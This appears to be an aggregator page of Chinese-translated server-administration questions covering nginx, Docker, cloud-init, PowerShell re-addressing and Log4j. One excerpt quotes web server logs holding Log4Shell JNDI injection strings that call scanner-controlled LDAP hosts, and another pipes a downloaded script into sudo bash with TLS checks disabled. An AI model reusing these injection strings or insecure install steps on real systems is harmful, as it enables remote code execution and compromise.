我有一个安装了 Nginx 的 CentOS 7 虚拟机。我使用 Webmin 来管理服务器。
它通常会自动安装更新,但是 nginx 更新失败,所以我尝试手动进行更新。它返回这个:
Installing package(s) with command /bin/yum -y install nginx ..
Loaded plugins: fastestmirror
Loading mirror speeds from cached hostfile
* base: mirror.netsite.dk
* epel: mirror.netsite.dk
* extras: mirror.netsite.dk
* updates: mirror.netsite.dk
Resolving Dependencies
--> Running transaction check
---> Package nginx.x86_64 1:1.20.1-9.el7 will be updated
--> Processing Dependency: nginx(abi) = 1.20.1 for package: 1:nginx-mod-mail-1.20.1-9.el7.x86_64
--> Processing Dependency: nginx(abi) = 1.20.1 for package: 1:nginx-mod-stream-1.20.1-9.el7.x86_64
--> Processing Dependency: nginx(abi) = 1.20.1 for package: …Run Code Online (Sandbox Code Playgroud) 有谁知道同时运行 docker 和 rootless docker 是否会导致任何问题?
文档说:
If the system-wide Docker daemon is already running, consider disabling it
Run Code Online (Sandbox Code Playgroud)
但他们没有说明为什么我们应该考虑禁用它。
当docker运行时安装rootless docker时,显示以下错误:
[ERROR] Aborting because rootful Docker (/var/run/docker.sock) is running and accessible. Set --force to ignore.
Run Code Online (Sandbox Code Playgroud)
所以我们可以忽略它。但这样做安全吗?
允许并排运行还是不允许?
也许我没有使用正确的术语,所以请允许我用一个例子来解释自己。以用户“centos”通过 SSH 连接并cat /etc/passwd在我的 Centos7 机器上执行,我得到:
centos:x:1000:1000:Cloud User:/home/centos:/bin/bash
www:x:1001:1001::/home/www:/sbin/nologin
Run Code Online (Sandbox Code Playgroud)
现在,如果尝试sudo su www -我得到:此帐户当前不可用。
据我有限的知识,这是由于nologin部分造成的。我想要做的是能够在 SSH 会话中切换到 www 用户,而不(如果可能)让 www 用户可以通过 SSH 直接访问服务器,就像 root 用户尝试 SSH 并收到错误一样告诉您应该以centos身份登录,然后根据需要更改为 root。
实现所需行为的步骤是什么?
我需要在代理后面运行以下命令:
curl -L "https://packages.gitlab.com/install/repositories/runner/gitlab-runner/script.deb.sh" | sudo bash
Run Code Online (Sandbox Code Playgroud)
返回与 SSL 相关的错误(因为代理将其证书放在中间)。我使用了“--insecure”并重新运行,这在一定程度上有效,但是 - 后来在该安装脚本中,再次调用curl,并返回相同的SSL错误。
我在 ~/.curlrc 中添加了“不安全”,以便调用脚本会忽略 SSL 错误..但是它们仍然会被抛出..如果我从一开始就删除 --insecure 它仍然有效(验证 .curlrc 工作)..所以我想这一定是权限问题..
运行“chmod 666 .curlrc”并使用“ls -l”验证所有的 rw - 相同的结果..如何忽略这些 SSL 错误?
Out 网络从 192.xyz 移至 10.uvw,我不想手动重新寻址 250 台计算机。我的想法是使用 powershell 脚本(针对单台电脑进行测试):
$oldIp='192.168.100.1'
$newIp='10.11.12.13'
$newGw='10.11.12.254'
$newLen='24'
$adminCred = Get-Credential -UserName ourdomain\myAdminAccount -Message 'Enter Password'
ForEach ($Adapter in (Get-WmiObject Win32_NetworkAdapter -Filter "NetEnabled='True'" -ComputerName $oldIp )){
$wmiQuery = Get-WmiObject -Class Win32_NetworkAdapterConfiguration -Filter "Index = '$($Adapter.Index)'" -ComputerName $oldIp
if( $wmiQuery.IPAddress -contains $oldIp ){
$pcName=[system.net.dns]::gethostentry($lavIp) | Select-Object -ExpandProperty HostName
$cimSess=New-CimSession -SkipTestConnection -Credential $adminCred -ComputerName $pcName
New-NetIPAddress -CimSession $cimSess -InterfaceIndex $Adapter.Index -IPAddress $newIp -PrefixLength $newLen -DefaultGateway $newGw
}else{
## do not touch this nic
}
}
Run Code Online (Sandbox Code Playgroud)
如果所有 NIC …
我已经一步步按照这篇文章(https://coderrocketfuel.com/article/how-to-set-up-nginx-on-a-ubuntu-server-with-vultr)在 Vultr 上设置一个实例以及所有内容进行得很顺利,但在第二步结束时,文章说“访问http://server_domain_or_IP”,你应该看到nginx欢迎页面,我转到http://my_server_ip_address,并且我总是得到“连接浏览器上出现“超时”屏幕。
我知道cloud-init允许将命令作为cloud-init yml的一部分运行
runcmd:
- [ pwd ]
Run Code Online (Sandbox Code Playgroud)
但我正在寻找一种执行完整 shell 脚本的方法。
有些人只是将 a 的输出通过管道传输curl到 shell 中 - 但这感觉像是一种非常不稳定的方法。也许脚本可以通过一些模板集成到 yml 中,但这听起来也不太好。
更好的方法是将脚本与 yml 一起发送给主机并引用它。但我还没有找到任何有关如何执行此操作的文档。
这可能吗?
我正在使用terraform来设置服务器,但我想知道这是否也可以使用纯cloud-init来完成。
我正在为我们的业务设置镜像存储系统。
我们没有预建的预算,所以我正在尽我所能,让我们的钱得到最大的回报。这是我们的硬件故障:
San1 和 San2 Windows Server 2019
SUPERMICRO MBD-H11SSL-I AMD Epyc 7251 8 核 CPU
64GB 内存 8GB x8
操作系统 SSD 500GB
LSI 9380-8i8e
Intel 10G 网卡,4 端口 - Iscsi 网络
Intel 25G 网卡,2 端口 - 服务器之间同步 - Jumbo Frames-9014。
1 个内部网卡 1G(数据),1 个 IPMI 在 MB 上使用
IW-RJ224-03 24bay SSD 机箱,装有 24 个 2TB Samsung 860 Pros,Raid10 配置。通过 2 根 SAS 电缆连接到 9380 卡。
我们将使用 Starwind 来同步 2 个服务器。
在设置 Starwind 的过程中,我一直尝试使用从 500G 到 5TB 的不同图像大小来查看我们的同步性能
当同步开始时,写入同步数据的系统几乎不可用。系统卡顿,性能监视器挂起,一切都运行得很糟糕,除非我关闭所有缓存选项。如果我启用写回或启用磁盘缓存,我注意到 numa …
我读过有关 Log4j 的安全漏洞。
如何检查我的服务器上是否安装了 Log4j?我的特定服务器使用Ubuntu 18.04.6 LTS.
我已经安装了许多第三方软件包,也许其中一些包含它。
是否有命令可以在我的服务器上运行来检查 Log4j 是否已安装?
apache web 服务器 (apache2) 使用 log4j 吗?
我在 Raspberry Pi OS(64 位)上安装了 Apache2 2.4.38(debian),并在日志中发现了一些关于来自(蜜罐/扫描仪)、(离线和恶意?)和(我不知道什么)的CVE-2021-44228的奇怪记录这是)kryptoslogic-cve-2021-44228.comdataastatistics.coma8fvkc.dnslog.cn
我现在应该怎么做?
log4j2.formatMsgNoLookups = TRUE日志:
139.59.99.80 - - [12/Dec/2021:00:34:47 +0100] "GET / HTTP/1.1" 301 512 "-" "${jndi:ldap://http80useragent.kryptoslogic-cve-2021-44228.com/http80useragent}"
139.59.99.80 - - [12/Dec/2021:00:34:48 +0100] "GET / HTTP/1.1" 200 5932 "http://79.232.126.49/" "${jndi:ldap://http80useragent.kryptoslogic-cve-2021-44228.com/http80useragent}"
139.59.99.80 - - [12/Dec/2021:01:51:38 +0100] "GET /$%7Bjndi:ldap://http80path.kryptoslogic-cve-2021-44228.com/http80path%7D HTTP/1.1" 301 654 "-" "Kryptos Logic Telltale"
139.59.99.80 - - [12/Dec/2021:01:51:39 +0100] "GET /$%7bjndi:ldap:/http80path.kryptoslogic-cve-2021-44228.com/http80path%7d HTTP/1.1" …Run Code Online (Sandbox Code Playgroud) centos7 ×2
nginx ×2
ubuntu ×2
apache2 ×1
centos ×1
cloud-init ×1
curl ×1
docker ×1
installation ×1
linux ×1
log4j ×1
packages ×1
powershell ×1
raid ×1
security ×1
server-setup ×1
ssh ×1
starwind ×1
terraform ×1
ubuntu-20.04 ×1
vultr ×1
webmin ×1